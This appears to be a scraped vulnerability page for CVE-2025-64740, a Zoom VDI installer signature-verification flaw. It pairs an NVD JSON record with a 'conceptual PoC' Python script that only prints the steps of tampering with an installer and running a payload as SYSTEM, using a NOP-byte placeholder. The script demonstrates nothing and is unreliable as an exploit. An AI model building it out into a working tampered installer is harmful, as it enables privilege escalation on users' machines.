CVE-2025-64740

# CVE-2025-64740 PoC Concept # Zoom Workplace VDI Client Signature Verification Bypass # This is a conceptual PoC demonstrating the attack vector import struct import hashlib def create_malicious_installer(): """ Conceptual PoC for CVE-2025-64740 Attack Vector: Exploit improper cryptographic signature verification """ print("[*] CVE-2025-64740 Conceptual PoC") print("[*] Target: Zoom Workplace VDI Client for Windows Installer") print("[*] Vulnerability: Improper signature verification allows package tampering") # Step 1: Obtain original Zoom installer original_installer = "ZoomInstaller_VDI.msi" print(f"\n[1] Obtaining original installer: {original_installer}") # Step 2: Modify installer (inject malicious payload) print("[2] Modifying installer package...") malicious_payload = b"\x90" * 256 # NOP sled + shellcode placeholder print(f" - Injected payload size: {len(malicious_payload)} bytes") # Step 3: Exploit signature verification flaw print("[3] Exploiting signature verification bypass...") print(" - Original verification checks signature against manifest") print(" - Bypass method: Modify signature validation logic") print(" - Result: Installer accepts tampered package without warning") # Step 4: Execute with elevated privileges print("[4] Triggering privilege escalation...") print(" - User executes: ZoomInstaller_VDI.msi") print(" - Malicious code executes with SYSTEM privileges") print(" - Result: Full system compromise achieved") return True if __name__ == "__main__": create_malicious_installer()

{"cve": {"id": "CVE-2025-64740", "sourceIdentifier": "[email protected]", "published": "2025-11-13T15:15:53.820", "lastModified": "2026-01-13T20:51:36.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in the installer for Zoom Workplace VDI Client for Windows may allow an authenticated user to conduct an escalation of privilege via local access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.3.14", "matchCriteriaId": "5D61DBA7-2AFE-47E4-8A7E-3C8EE6696BF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionStartIncluding": "6.4.10", "versionEndExcluding": "6.4.12", "matchCriteriaId": "A57A2EE0-D00B-4266-B152-2439B8ED774A"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/ZSB-25042", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}